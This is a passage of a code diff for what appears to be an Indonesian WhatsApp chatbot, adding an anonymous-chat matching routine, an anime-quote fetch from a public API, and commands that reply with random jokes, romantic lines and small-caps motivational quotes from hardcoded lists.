_mencari partner_`) +return false +} +let other = romeo.other(m.sender) +if (other) await XeonBotInc.sendText(other, `Partner Telah Meninggalkan Sesi Anonymous`, m) +delete this.anonymous[romeo.id] +let room = Object.values(this.anonymous).find(room => room.state === 'WAITING' && !room.check(m.sender)) +if (room) { +XeonBotInc.sendMessage(room.a, {text: `Berhasil Menemukan Partner, sekarang kamu dapat mengirim pesan\n\n${prefix}skip -- _mencari partner lain_\n${prefix}stop -- _menghentikan sesi chat_`}) +room.b = m.sender +room.state = 'CHATTING' +reply(`Berhasil Menemukan Partner, sekarang kamu dapat mengirim pesan\n\n${prefix}skip -- _mencari partner lain_\n${prefix}stop -- _menghentikan sesi chat_`) +} else { +let id = + new Date +this.anonymous[id] = { +id, +a: m.sender, +b: '', +state: 'WAITING', +check: function (who = '') { +return [this.a, this.b].includes(who) +}, +other: function (who = '') { +return who === this.a ? this.b : who === this.b ? this.a : '' +}, +} +reply(`Mohon Tunggu Sedang Mencari Partner`) +} +break +} +//=========================================\\====== +case 'quotesanime': +case 'quotesanim': { + let res = await (await fetch('https://katanime.vercel.app/api/getrandom?limit=1')) + if (!res.ok) return await res.text() + let json = await res.json() + if(!json.result[0]) return json + let { indo, character, anime } = json.result[0] + reply(`${indo}\n\n๐Ÿ“ฎBy: _${character}_ \nAnime:\n${anime}`) +} +break +//=========================================\\====== +case 'quotesbacot': { +function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} + +const bacot = [ +'Kamu suka kopi nggak? Aku sih suka. Tau kenapa alesannya? Kopi itu ibarat kamu, pahit sih tapi bikin candu jadi pingin terus.', +'Gajian itu kayak mantan ya? Bisanya cuman lewat sebentar saja.', +'Kata pak haji, cowok yang nggak mau pergi Sholat Jumat disuruh pakai rok aja.', +'Kamu tahu mantan nggak? Mantan itu ibarat gajian, biasa numpang lewat dong di kehidupan kita.', +'Aku suka kamu, kamu suka dia, tapi dia sayangnya nggak ke kamu. Wkwkw lucu ya? Cinta serumit ini.', +'Google itu hebat ya? Tapi sayang sehebat-hebatnya Google nggak bisa menemukan jodoh kita.', +'Terlalu sering memegang pensil alis dapat membuat mata menjadi buta, jika dicolok-colokkan ke mata.', +'Saya bekerja keras karena sadar kalau uang nggak punya kaki buat jalan sendiri ke kantong saya.', +'Jika kamu tak mampu meyakinkan dan memukau orang dengan kepintaranmu, bingungkan dia dengan kebodohanmu.', +'Selelah-lelahnya bekerja, lebih lelah lagi kalau nganggur.', +'Kita hidup di masa kalau salah kena marah, pas bener dibilang tumben.', +'Nggak ada bahu pacar? Tenang aja, masih ada bahu jalan buat nyandar.', +'Mencintai dirimu itu wajar, yang gak wajar mencintai bapakmu.', +'Katanya enggak bisa bohong. Iyalah, mata kan cuma bisa melihat.', +'Madu di tangan kananmu, racun di tangan kirimu, jodoh tetap di tangan tuhan.', +'Selingkuh terjadi bukan karena ada niat, selingkuh terjadi karna pacar kamu masih laku.', +'Netizen kalau senam jempol di ponsel nggak pakai pendinginan, pantes komennya bikin panas terus.', +'Jodoh memang enggak kemana, tapi saingannya ada dimana-mana.', +'Perasaan aku salah terus di matamu. Kalu gitu, besok aku pindah ke hidungmu.', +'Jomblo tidak perlu malu, jomblo bukan berarti tidak laku, tapi memang tidak ada yang mau.', +'Jika doamu belum terkabul maka bersabar, ingatlah bahwa yang berdoa bukan cuma kamu!', +'Masih berharap dan terus berharap lama-lama aku jadi juara harapan.', +'Manusia boleh berencana, tapi akhirnya saldo juga yang menentukan.', +'Statusnya rohani, kelakuannya rohalus.', +'Kegagalan bukan suatu keberhasilan.', +'Tadi mau makan bakso, cuma kok panas banget, keliatannya baksonya lagi demam.', +'Aku juga pernah kaya, waktu gajian.', +'Aku diputusin sama pacar karena kita beda keyakinan. Aku yakin kalau aku ganteng, tapi dia enggak.', +'Masa depanmu tergantung pada mimpimu, maka perbanyaklah tidur.', +'Seberat apapun pekerjaanmu, akan semakin ringan jika tidak dibawa.', +'Jangan terlalu berharap! nanti jatuhnya sakit!', +'Ingat! Anda itu jomblo', +'Gak tau mau ngetik apa', +] + let bacotan = pickRandom(bacot) + reply(bacotan) +} +break +//=========================================\\====== +case 'quotesbucin': { +const bucin = [ + "Aku memilih untuk sendiri, bukan karena menunggu yang sempurna, tetapi butuh yang tak pernah menyerah.", + "Seorang yang single diciptakan bersama pasangan yang belum ditemukannya.", + "Jomblo. Mungkin itu cara Tuhan untuk mengatakan 'Istirahatlah dari cinta yang salah'.", + "Jomblo adalah anak muda yang mendahulukan pengembangan pribadinya untuk cinta yang lebih berkelas nantinya.", + "Aku bukan mencari seseorang yang sempurna, tapi aku mencari orang yang menjadi sempurna berkat kelebihanku.", + "Pacar orang adalah jodoh kita yang tertunda.", + "Jomblo pasti berlalu. Semua ada saatnya, saat semua kesendirian menjadi sebuah kebersamaan dengannya kekasih halal. Bersabarlah.", + "Romeo rela mati untuk juliet, Jack mati karena menyelamatkan Rose. Intinya, kalau tetap mau hidup, jadilah single.", + "Aku mencari orang bukan dari kelebihannya tapi aku mencari orang dari ketulusan hatinya.", + "Jodoh bukan sendal jepit, yang kerap tertukar. Jadi teruslah berada dalam perjuangan yang semestinya.", + "Kalau kamu jadi senar gitar, aku nggak mau jadi gitarisnya. Karena aku nggak mau mutusin kamu.", + "Bila mencintaimu adalah ilusi, maka izinkan aku berimajinasi selamanya.", + "Sayang... Tugas aku hanya mencintaimu, bukan melawan takdir.", + "Saat aku sedang bersamamu rasanya 1 jam hanya 1 detik, tetapi jika aku jauh darimu rasanya 1 hari menjadi 1 tahun.", + "Kolak pisang tahu sumedang, walau jarak membentang cintaku takkan pernah hilang.", + "Aku ingin menjadi satu-satunya, bukan salah satunya.", + "Aku tidak bisa berjanji untuk menjadi yang baik. Tapi aku berjanji akan selalu mendampingi kamu.", + "Kalau aku jadi wakil rakyat aku pasti gagal, gimana mau mikirin rakyat kalau yang selalu ada dipikiran aku hanyalah dirimu.", + "Lihat kebunku, penuh dengan bunga. Lihat matamu, hatiku berbunga-bunga.", + "Berjanjilah untuk terus bersamaku sekarang, esok, dan selamanya.", + "Rindu tidak hanya muncul karena jarak yang terpisah. Tapi juga karena keinginan yang tidak terwujud.", + "Kamu tidak akan pernah jauh dariku, kemanapun aku pergi kamu selalu ada, karena kamu selalu di hatiku, yang jauh hanya raga kita bukan hati kita.", + "Aku tahu dalam setiap tatapanku, kita terhalang oleh jarak dan waktu. Tapi aku yakin kalau nanti kita pasti bisa bersatu.", + "Merindukanmu tanpa pernah bertemu sama halnya dengan menciptakan lagu yang tak pernah ternyayikan.", + "Ada kalanya jarak selalu menjadi penghalang antara aku sama kamu, namun tetap saja di hatiku kita selalu dekat.", + "Jika hati ini tak mampu membendung segala kerinduan, apa daya tak ada yang bisa aku lakukan selain mendoakanmu.", + "Mungkin di saat ini aku hanya bisa menahan kerinduan ini. Sampai tiba saatnya nanti aku bisa bertemu dan melepaskan kerinduan ini bersamamu.", + "Melalui rasa rindu yang bergejolak dalam hati, di situ terkadang aku sangat membutuhkan dekap peluk kasih sayangmu.", + "Dalam dinginnya malam, tak kuingat lagi; Berapa sering aku memikirkanmu juga merindukanmu.", + "Merindukanmu itu seperti hujan yang datang tiba-tiba dan bertahan lama. Dan bahkan setelah hujan reda, rinduku masih terasa.", + "Sejak mengenalmu bawaannya aku pengen belajar terus, belajar menjadi yang terbaik buat kamu.", + "Tahu gak perbedaan pensi sama wajah kamu? Kalau pensil tulisannya bisa dihapus, tapi kalau wajah kamu gak akan ada yang bisa hapus dari pikiran aku.", + "Bukan Ujian Nasional besok yang harus aku khawatirkan, tapi ujian hidup yang aku lalui setelah kamu meninggalkanku.", + "Satu hal kebahagiaan di sekolah yang terus membuatku semangat adalah bisa melihat senyumanmu setiap hari.", + "Kamu tahu gak perbedaanya kalau ke sekolah sama ke rumah kamu? Kalo ke sekolah pasti yang di bawa itu buku dan pulpen, tapi kalo ke rumah kamu, aku cukup membawa hati dan cinta.", + "Aku gak sedih kok kalo besok hari senin, aku sedihnya kalau gak ketemu kamu.", + "Momen cintaku tegak lurus dengan momen cintamu. Menjadikan cinta kita sebagai titik ekuilibrium yang sempurna.", + "Aku rela ikut lomba lari keliling dunia, asalkan engkai yang menjadi garis finishnya.", + "PR-ku adalah merindukanmu. Lebih kuat dari Matematika, lebih luas dari Fisika, lebih kerasa dari Biologi.", + "Cintaku kepadamu itu bagaikan metabolisme, yang gak akan berhenti sampai mati.", + "Kalau jelangkungnya kaya kamu, dateng aku jemput, pulang aku anter deh.", + "Makan apapun aku suka asal sama kamu, termasuk makan ati.", + "Cinta itu kaya hukuman mati. Kalau nggak ditembak, ya digantung.", + "Mencintaimu itu kayak narkoba: sekali coba jadi candu, gak dicoba bikin penasaran, ditinggalin bikin sakaw.", + "Gue paling suka ngemil karena ngemil itu enak. Apalagi ngemilikin kamu sepenuhnya...", + "Dunia ini cuma milik kita berdua. Yang lainnya cuma ngontrak.", + "Bagi aku, semua hari itu adalah hari Selasa. Selasa di Surga bila dekat denganmu...", + "Bagaimana kalau kita berdua jadi komplotan penjahat? Aku curi hatimu dan kamu curi hatiku.", + "Kamu itu seperti kopi yang aku seruput pagi ini. Pahit, tapi bikin nagih.", + "Aku sering cemburu sama lipstikmu. Dia bisa nyium kamu tiap hari, dari pagi sampai malam.", + "Hanya mendengar namamu saja sudah bisa membuatku tersenyum seperti orang bodoh.", + "Aku tau teman wanitamu bukan hanya satu, dan menyukaimu pun bukan hanya aku.", + "Semenjak aku berhenti berharap pada dirimu, aku jadi tidak semangat dalam segala hal..", + "Denganmu, jatuh cinta adalah patah hati paling sengaja.", + "Sangat sulit merasakan kebahagiaan hidup tanpa kehadiran kamu disisiku.", + "Melalui rasa rindu yang bergejolak dalam hati, di situ terkadang aku sangat membutuhkan dekap peluk kasih sayangmu.", + "Sendainya kamu tahu, sampai saat ini aku masih mencintaimu.", + "Terkadang aku iri sama layangan..talinya putus saja masih dikejar kejar dan gak rela direbut orang lain...", + "Aku tidak tahu apa itu cinta, sampai akhirnya aku bertemu denganmu. Tapi, saat itu juga aku tahu rasanya patah hati.", + "Mengejar itu capek, tapi lebih capek lagi menunggu\nMenunggu kamu menyadari keberadaanku...", + "Jangan berhenti mencinta hanya karena pernah terluka. Karena tak ada pelangi tanpa hujan, tak ada cinta sejati tanpa tangisan.", + "Aku punya sejuta alasan unutk melupakanmu, tapi tak ada yang bisa memaksaku untuk berhenti mencintaimu.", + "Terkadang seseorang terasa sangat bodoh hanya untuk mencintai seseorang.", + "Kamu adalah patah hati terbaik yang gak pernah aku sesali.", + "Bukannya tak pantas ditunggu, hanya saja sering memberi harapan palsu.", + "Sebagian diriku merasa sakit, Mengingat dirinya yang sangat dekat, tapi tak tersentuh.", + "Hal yang terbaik dalam mencintai seseorang adalah dengan diam-diam mendo akannya.", + "Kuharap aku bisa menghilangkan perasaan ini secepat aku kehilanganmu.", + "Demi cinta kita menipu diri sendiri. Berusaha kuat nyatanya jatuh secara tak terhormat.", + "Anggaplah aku rumahmu, jika kamu pergi kamu mengerti kemana arah pulang. Menetaplah bila kamu mau dan pergilah jika kamu bosan...", + "Aku bingung, apakah aku harus kecewa atu tidak? Jika aku kecewa, emang siapa diriku baginya?\n\nKalau aku tidak kecewa, tapi aku menunggu ucapannya.", + "Rinduku seperti ranting yang tetap berdiri.Meski tak satupun lagi dedaunan yang menemani, sampai akhirnya mengering, patah, dan mati.", + "Kurasa kita sekarang hanya dua orang asing yang memiliki kenangan yang sama.", + "Buatlah aku bisa membencimu walau hanya beberapa menit, agar tidak terlalu berat untuk melupakanmu.", + "Aku mencintaimu dengan segenap hatiku, tapi kau malah membagi perasaanmu dengan orang lain.", + "Mencintaimu mungkin menghancurkanku, tapi entah bagaimana meninggalkanmu tidak memperbaikiku.", + "Kamu adalah yang utama dan pertama dalam hidupku. Tapi, aku adalah yang kedua bagimu.", + "Jika kita hanya bisa dipertemukan dalam mimpi, aku ingin tidur selamanya.", + "Melihatmu bahagia adalah kebahagiaanku, walaupun bahagiamu tanpa bersamaku.", + "Aku terkadang iri dengan sebuah benda. Tidak memiliki rasa namun selalu dibutuhkan. Berbeda dengan aku yang memiliki rasa, namun ditinggalkan dan diabaikan...", + "Bagaimana mungkin aku berpindah jika hanya padamu hatiku bersinggah?", + "Kenangan tentangmu sudah seperti rumah bagiku. Sehingga setiap kali pikiranku melayang, pasti ujung-ujungnya akan selalu kembali kepadamu.", + "Kenapa tisue bermanfaat? Karena cinta tak pernah kemarau. - Sujiwo Tejo", + "Kalau mencintaimu adalah kesalahan, yasudah, biar aku salah terus saja.", + "Sejak kenal kamu, aku jadi pengen belajar terus deh. Belajar jadi yang terbaik buat kamu.", + "Ada yang bertingkah bodoh hanya untuk melihatmu tersenyum. Dan dia merasa bahagia akan hal itu.", + "Aku bukan orang baik, tapi akan belajar jadi yang terbaik untuk kamu.", + "Kita tidak mati, tapi lukanya yang membuat kita tidak bisa berjalan seperti dulu lagi.", + "keberadaanmu bagaikan secangkir kopi yang aku butuhkan setiap pagi, yang dapat mendorongku untuk tetap bersemangat menjalani hari.", + "Aku mau banget ngasih dunia ke kamu. Tapi karena itu nggak mungkin, maka aku akan kasih hal yang paling penting dalam hidupku, yaitu duniaku.", + "Mending sing humoris tapi manis, ketimbang sok romantis tapi akhire tragis.", + "Ben akhire ora kecewa, dewe kudu ngerti kapan waktune berharap lan kapan kudu mandeg.", + "Aku ki wong Jowo seng ora ngerti artine 'I Love U'. Tapi aku ngertine mek 'Aku tresno awakmu'.", + "Ora perlu ayu lan sugihmu, aku cukup mok setiani wes seneng ra karuan.", + "Cintaku nang awakmu iku koyok kamera, fokus nang awakmu tok liyane mah ngeblur.", + "Saben dino kegowo ngimpi tapi ora biso nduweni.", + "Ora ketemu koe 30 dino rasane koyo sewulan.", + "Aku tanpamu bagaikan sego kucing ilang karete. Ambyar.", + "Pengenku, Aku iso muter wektu. Supoyo aku iso nemokne kowe lewih gasik. Ben Lewih dowo wektuku kanggo urip bareng sliramu.", + "Aku ora pernah ngerti opo kui tresno, kajaba sak bare ketemu karo sliramu.", + "Cinta aa ka neng moal leungit-leungit sanajan aa geus kawin deui.", + "Kasabaran kaula aya batasna, tapi cinta kaula ka anjeun henteu aya se epna.", + "Kanyaah akang moal luntur najan make Bayclean.", + "Kenangan endah keur babarengan jeung anjeun ek tuluy diinget-inget nepi ka poho.", + "Kuring moal bakal tiasa hirup sorangan, butuh bantosan jalmi sejen.", + "Nyaahna aa ka neg teh jiga tukang bank keur nagih hutang (hayoh mumuntil).", + "Kasabaran urang aya batasna, tapi cinta urang ka maneh moal aya beakna.", + "Hayang rasana kuring ngarangkai kabeh kata cinta anu aya di dunya ieu, terus bade ku kuring kumpulkeun, supaya anjeun nyaho gede pisan rasa cinta kuring ka anjeun.", + "Tenang wae neng, ari cinta Akang mah sapertos tembang krispatih; Tak lekang oleh waktu.", + "Abdi sanes jalmi nu sampurna pikeun anjeun, sareng sanes oge nu paling alus kanggo anjeun. Tapi nu pasti, abdi jalmi hiji-hijina nu terus emut ka anjeun.", + "Cukup jaringan aja yang hilang, kamu jangan.", + "Sering sih dibikin makan ati. Tapi menyadari kamu masih di sini bikin bahagia lagi.", + "Musuhku adalah mereka yang ingin memilikimu juga.", + "Banyak yang selalu ada, tapi kalo cuma kamu yang aku mau, gimana?", + "Jam tidurku hancur dirusak rindu.", + "Cukup China aja yang jauh, cinta kita jangan.", + "Yang penting itu kebahagiaan kamu, aku sih gak penting..", + "Cuma satu keinginanku, dicintai olehmu..", + "Aku tanpamu bagaikan ambulans tanpa wiuw wiuw wiuw.", + "Cukup antartika aja yang jauh. Antarkita jangan." +] +const xeontruth = bucin[Math.floor(Math.random() * bucin.length)] + reply(`${xeontruth}`) +} +break + +//=========================================\\====== +case 'quotesmotivasi': { +function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} + +const motivasi = [ +"แดŠแด€ษดษขแด€ษด ส™ษชแด„แด€ส€แด€, ส™แด‡ส€แด›ษชษดแด…แด€แด‹ ๊œฑแด€แดŠแด€. แดŠแด€ษดษขแด€ษด แด‹แด€แด›แด€แด‹แด€ษด, แด›แดœษดแดŠแดœแด‹แด‹แด€ษด ๊œฑแด€แดŠแด€. แดŠแด€ษดษขแด€ษด แดŠแด€ษดแดŠษช, ส™แดœแด‹แด›ษชแด‹แด€ษด ๊œฑแด€แดŠแด€.", +"แดŠแด€ษดษขแด€ษด แด˜แด‡ส€ษดแด€สœ ส™แด‡ส€สœแด‡ษดแด›ษช แดแด‡สŸแด€แด‹แดœแด‹แด€ษด สแด€ษดษข แด›แด‡ส€ส™แด€ษชแด‹ สœแด€ษดสแด€ แด‹แด€ส€แด‡ษดแด€ ๊œฑแด‡๊œฑแด‡แดส€แด€ษดษข แด›ษชแด…แด€แด‹ แดแด‡แดส™แด‡ส€ษช แด€ษดแด…แด€ แด˜แด‡ษดษขสœแด€ส€ษขแด€แด€ษด.", +"ส™แด‡แด‹แด‡ส€แดŠแด€ ๊œฑแด€แด€แด› แดแด‡ส€แด‡แด‹แด€ แด›ษชแด…แดœส€. ส™แด‡สŸแด€แดŠแด€ส€ ๊œฑแด€แด€แด› แดแด‡ส€แด‡แด‹แด€ ส™แด‡ส€แด˜แด‡๊œฑแด›แด€. สœแด‡แดแด€แด› ๊œฑแด‡แดแด‡ษดแด›แด€ส€แด€ แดแด‡ส€แด‡แด‹แด€ แดแด‡ษดษขสœแด€ส™ษช๊œฑแด‹แด€ษด. สœษชแด…แดœแด˜สŸแด€สœ ๊œฑแด‡แด˜แด‡ส€แด›ษช แดษชแดแด˜ษช แดแด‡ส€แด‡แด‹แด€.", +"แด‹แดœษดแด„ษช ๊œฑแดœแด‹๊œฑแด‡๊œฑ แด€แด…แด€สŸแด€สœ แดแด‡แดแดœ๊œฑแด€แด›แด‹แด€ษด แด˜ษชแด‹ษชส€แด€ษด ๊œฑแด€แด…แด€ส€ แด‹ษชแด›แด€ แด˜แด€แด…แด€ สœแด€สŸ-สœแด€สŸ สแด€ษดษข แด‹ษชแด›แด€ ษชษดษขษชษดแด‹แด€ษด, ส™แดœแด‹แด€ษด สœแด€สŸ-สœแด€สŸ สแด€ษดษข แด‹ษชแด›แด€ แด›แด€แด‹แดœแด›ษช.", +"แดŠแด€ษดษขแด€ษด แด›แด€แด‹แดœแด› ษขแด€ษขแด€สŸ. แด‹แด‡แด›แด€แด‹แดœแด›แด€ษด ส™แด‡ส€แด€แด…แด€ แด…ษช แด›แด‡แดแด˜แด€แด› สแด€ษดษข ๊œฑแด€แดแด€ แด›แด€สœแดœษด แด…แด‡แด˜แด€ษด ๊œฑแด‡แด˜แด‡ส€แด›ษช แด€ษดแด…แด€ ๊œฑแด€แด€แด› ษชษดษช.", +"แดŠษชแด‹แด€ แด‹ษชแด›แด€ แด›แด‡ส€แดœ๊œฑ แดแด‡สŸแด€แด‹แดœแด‹แด€ษด แด€แด˜แด€ สแด€ษดษข แด‹ษชแด›แด€ สŸแด€แด‹แดœแด‹แด€ษด, แด‹ษชแด›แด€ แด€แด‹แด€ษด แด›แด‡ส€แดœ๊œฑ แดแด‡ษดแด…แด€แด˜แด€แด›แด‹แด€ษด แด€แด˜แด€ สแด€ษดษข แด‹ษชแด›แด€ แด…แด€แด˜แด€แด›แด‹แด€ษด.", +"แดŠษชแด‹แด€ แด€ษดแด…แด€ แด›ษชแด…แด€แด‹ แด…แด€แด˜แด€แด› แดแด‡ษดษขแด€แด›แด€๊œฑษช ๊œฑแด›ส€แด‡๊œฑ, แด€ษดแด…แด€ แด›ษชแด…แด€แด‹ แด€แด‹แด€ษด แดแด‡ษดษขแด‡สŸแดสŸแด€ แด‹แด‡๊œฑแดœแด‹๊œฑแด‡๊œฑแด€ษด.", +"ส™แด‡ส€๊œฑษชแด‹แด€แด˜ แด‹แด‡ส€แด€๊œฑ แด‹แด‡แด˜แด€สŸแด€ แด›แด‡ษดแด›แด€ษดษข แด›แดœแดŠแดœแด€ษด แด€ษดแด…แด€ แด…แด€ษด ๊œฐสŸแด‡แด‹๊œฑษชส™แด‡สŸ แด›แด‡ษดแด›แด€ษดษข แดแด‡แด›แดแด…แด‡ แด€ษดแด…แด€.", +"แด‹แด‡ส€แดŠแด€ แด‹แด‡ส€แด€๊œฑ แดแด‡ษดษขแด€สŸแด€สœแด‹แด€ษด ส™แด€แด‹แด€แด› แด‹แด‡แด›ษชแด‹แด€ ส™แด€แด‹แด€แด› แด›ษชแด…แด€แด‹ ส™แด‡แด‹แด‡ส€แดŠแด€ แด‹แด‡ส€แด€๊œฑ.", +"ษชษดษขแด€แด›สŸแด€สœ ส™แด€สœแดกแด€ แด˜แด‡สŸแด€แดŠแด€ส€แด€ษด แด›แด‡ส€ส™แด‡๊œฑแด€ส€ แด…แด€สŸแด€แด สœษชแด…แดœแด˜ ส™ษชแด€๊œฑแด€ษดสแด€ แด…ษชแด˜แด‡สŸแด€แดŠแด€ส€ษช แด…แด€ส€ษช ๊œฑแด€แด€แด›-๊œฑแด€แด€แด› แด›แด‡ส€ส™แดœส€แดœแด‹ แด…แด€ษด แด…แด€ส€ษช แด‹แด‡๊œฑแด€สŸแด€สœแด€ษด แด›แด‡ส€ส™แดœส€แดœแด‹.", +"สœษชแด…แดœแด˜ ส™แดœแด‹แด€ษด แด›แด‡ษดแด›แด€ษดษข แดแด‡ษดแดœษดษขษขแดœ ส™แด€แด…แด€ษช ส™แด‡ส€สŸแด€สŸแดœ, แด›แด‡แด›แด€แด˜ษช ส™แด‡สŸแด€แดŠแด€ส€ แดแด‡ษดแด€ส€ษช แด…ษช แด›แด‡ษดษขแด€สœ สœแดœแดŠแด€ษด.", +"แดŠษชแด‹แด€ ส€แด‡ษดแด„แด€ษดแด€ษดสแด€ แด›ษชแด…แด€แด‹ ส™แด‡ส€สœแด€๊œฑษชสŸ, แดœส™แด€สœ ส€แด‡ษดแด„แด€ษดแด€ษดสแด€ ส™แดœแด‹แด€ษด แด›แดœแดŠแดœแด€ษดษดสแด€.", +"แดŠแด€ษดษขแด€ษด แด›แด€แด‹แดœแด› แด‹แด€สŸแด€แดœ สœษชแด…แดœแด˜แดแดœ แด€แด‹แด€ษด ส™แด‡ส€แด€แด‹สœษชส€; แด›แด€แด‹แดœแด›สŸแด€สœ แด‹แด€สŸแด€แดœ สœษชแด…แดœแด˜แดแดœ แด›แด€แด‹ แด˜แด‡ส€ษดแด€สœ แด…ษชแดแดœสŸแด€ษช.", +"แดส€แด€ษดษข สแด€ษดษข ส™แด‡ษดแด€ส€-ส™แด‡ษดแด€ส€ สœแด‡ส™แด€แด› แด€แด…แด€สŸแด€สœ แดส€แด€ษดษข สแด€ษดษข แดแด‡แดส™แดœแด€แด› ๊œฑแด‡แด›ษชแด€แด˜ แดส€แด€ษดษข แดแด‡ส€แด€๊œฑแด€ สœแด‡ส™แด€แด›.", +"แด˜แด‡ษดษขแด€สŸแด€แดแด€ษด แด€แด…แด€สŸแด€สœ ษขแดœส€แดœ สแด€ษดษข ส™แด‡ส€แด€แด› แด‹แด€ส€แด‡ษดแด€ แด…ษชแด€ แดแด‡แดส™แด‡ส€ษชแด‹แด€ษด แด›แด‡๊œฑ แด›แด‡ส€สŸแด‡ส™ษชสœ แด…แด€สœแดœสŸแดœ, แด‹แด‡แดแดœแด…ษชแด€ษด แด˜แด‡สŸแด€แดŠแด€ส€แด€ษดษดสแด€.", +"แดแด‡ษดษขแด‡แด›แด€สœแดœษช ๊œฑแด‡ส™แด‡ส€แด€แด˜แด€ ส™แด€ษดสแด€แด‹ สแด€ษดษข แด˜แด‡ส€สŸแดœ แด…ษชแด‹แด‡แด›แด€สœแดœษช แด€แด…แด€สŸแด€สœ แด€แดกแด€สŸ แด…แด€ส€ษช ส™แด‡สŸแด€แดŠแด€ส€ แดœษดแด›แดœแด‹ สœษชแด…แดœแด˜.", +"๊œฑแดœแด‹๊œฑแด‡๊œฑ ส™แดœแด‹แด€ษดสŸแด€สœ แด€แด‹สœษชส€, แด‹แด‡ษขแด€ษขแด€สŸแด€ษด แด›ษชแด…แด€แด‹ ๊œฐแด€แด›แด€สŸ. สแด€ษดษข แด›แด‡ส€แด˜แด‡ษดแด›ษชษดษข แด€แด…แด€สŸแด€สœ แด‹แด‡ส™แด‡ส€แด€ษดษชแด€ษด แดœษดแด›แดœแด‹ แดแด‡สŸแด€ษดแดŠแดœแด›แด‹แด€ษด.", +"สŸแด‡ส™ษชสœ ส™แด€ษชแด‹ ษขแด€ษขแด€สŸ แด…แด€สŸแด€แด แดส€ษช๊œฑษชษดแด€สŸษชแด›แด€๊œฑ แด…แด€ส€ษชแด˜แด€แด…แด€ ส™แด‡ส€สœแด€๊œฑษชสŸ แดแด‡ษดษชส€แดœ.", +"ส™แด‡ส€แด€ษดษช ส™แด‡ส€แดษชแดแด˜ษช, แด›แด€แด˜ษช สแด€ษดษข สŸแด‡ส™ษชสœ แด˜แด‡ษดแด›ษชษดษข, ส™แด‡ส€แด€ษดษช แดแด‡สŸแด€แด‹แดœแด‹แด€ษด แด›ษชษดแด…แด€แด‹แด€ษด แด…ษช ส™แด€สŸษชแด‹ ษชแดแด˜ษชแด€ษดแดแดœ.", +"แด›แด‡แด›แด€แด˜แด‹แด€ษด แด›แดœแดŠแดœแด€ษด แด€ษดแด…แด€ แด›ษชษดษขษขษช-แด›ษชษดษขษขษช, แด…แด€ษด แดŠแด€ษดษขแด€ษด ส™แด‡ส€สœแด‡ษดแด›ษช ๊œฑแด€แดแด˜แด€ษช แด€ษดแด…แด€ แดแด‡ษดแด„แด€แด˜แด€ษชษดสแด€.", +"แด‹แด‡แดส™แด€ษดษขแด‹แด€ษด แด‹แด‡๊œฑแดœแด‹๊œฑแด‡๊œฑแด€ษด แด…แด€ส€ษช แด‹แด‡ษขแด€ษขแด€สŸแด€ษด. แด‹แด‡แด˜แดœแด›แดœ๊œฑแด€๊œฑแด€แด€ษด แด…แด€ษด แด‹แด‡ษขแด€ษขแด€สŸแด€ษด แด€แด…แด€สŸแด€สœ แด…แดœแด€ ส™แด€แด›แดœ สŸแดษดแด„แด€แด›แด€ษด แด˜แด€สŸษชษดษข แด˜แด€๊œฑแด›ษช แดแด‡ษดแดœแดŠแดœ ๊œฑแดœแด‹๊œฑแด‡๊œฑ.", +"แดŠแด‡ษดษชแดœ๊œฑ แด€แด…แด€สŸแด€สœ ๊œฑแด€แด›แดœ แด˜แด‡ส€๊œฑแด‡ษด ษชษด๊œฑแด˜ษชส€แด€๊œฑษช แด…แด€ษด ๊œฑแด‡แดส™ษชสŸแด€ษด แด˜แดœสŸแดœสœ ๊œฑแด‡แดส™ษชสŸแด€ษด แด˜แด‡ส€๊œฑแด‡ษด แด‹แด‡ส€ษชษดษขแด€แด›.", +"๊œฑแดœแด‹๊œฑแด‡๊œฑ แด€แด…แด€สŸแด€สœ แด›แด‡แดแด˜แด€แด› แด˜แด‡ส€๊œฑษชแด€แด˜แด€ษด แด…แด€ษด แด‹แด‡๊œฑแด‡แดแด˜แด€แด›แด€ษด ส™แด‡ส€แด›แด‡แดแดœ.", +"แด‹แด‡แด›แด‡แด‹แดœษดแด€ษด ษขแด€ษขแด€สŸ 19 แด‹แด€สŸษช แด…แด€ษด ส™แด‡ส€สœแด€๊œฑษชสŸ แด˜แด€แด…แด€ แด‹แด‡๊œฑแด‡แดแด˜แด€แด›แด€แด สแด€ษดษข แด‹แด‡-20.", +"แดŠแด€สŸแด€ษด แดแด‡ษดแดœแดŠแดœ ๊œฑแดœแด‹๊œฑแด‡๊œฑ แด…แด€ษด แดŠแด€สŸแด€ษด แดแด‡ษดแดœแดŠแดœ แด‹แด‡ษขแด€ษขแด€สŸแด€ษด สœแด€แดแด˜ษชส€ แด˜แด‡ส€๊œฑษช๊œฑ ๊œฑแด€แดแด€.", +"๊œฑแดœแด‹๊œฑแด‡๊œฑ ส™ษชแด€๊œฑแด€ษดสแด€ แด…แด€แด›แด€ษดษข แด‹แด‡แด˜แด€แด…แด€ แดแด‡ส€แด‡แด‹แด€ สแด€ษดษข แด›แด‡ส€สŸแด€สŸแดœ ๊œฑษชส™แดœแด‹ แดแด‡ษดแด„แด€ส€ษชษดสแด€.", +"แดŠแด€ษดษขแด€ษด แด›แดœษดแด…แด€ แด˜แด‡แด‹แด‡ส€แดŠแด€แด€ษดแดแดœ ๊œฑแด€แดแด˜แด€ษช ส™แด‡๊œฑแดแด‹, ๊œฑแด‡แดแด‡ษดแด›แด€ส€แด€ แด‹แด€แดœ ส™ษช๊œฑแด€ แดแด‡ษดษขแด‡ส€แดŠแด€แด‹แด€ษดษดสแด€ สœแด€ส€ษช ษชษดษช.", +"20 แด›แด€สœแดœษด แด…แด€ส€ษช ๊œฑแด‡แด‹แด€ส€แด€ษดษข, แด‹แด€แดœ แดแดœษดษขแด‹ษชษด สŸแด‡ส™ษชสœ แด‹แด‡แด„แด‡แดกแด€ แด…แด‡ษดษขแด€ษด สœแด€สŸ-สœแด€สŸ สแด€ษดษข แด›ษชแด…แด€แด‹ ๊œฑแด‡แดแด˜แด€แด› แด‹แด€แดœ สŸแด€แด‹แดœแด‹แด€ษด แด€สŸษชสœ-แด€สŸษชสœ สแด€ษดษข ๊œฑแดœแด…แด€สœ.", +"แดŠแด€ษดษขแด€ษด สœแด€ส™ษช๊œฑแด‹แด€ษด แดกแด€แด‹แด›แดœแดแดœ แดแด‡แดแดœแด‹แดœสŸษช แด›แด‡แดส™แดแด‹ แด…แด€ษด ส™แด‡ส€สœแด€ส€แด€แด˜ ส™ษช๊œฑแด€ แดแด‡ษดษขแดœส™แด€สœษดสแด€ แดแด‡ษดแดŠแด€แด…ษช แด˜ษชษดแด›แดœ.", +"แด‹แด‡๊œฑแด‡แดแด˜แด€แด›แด€ษด 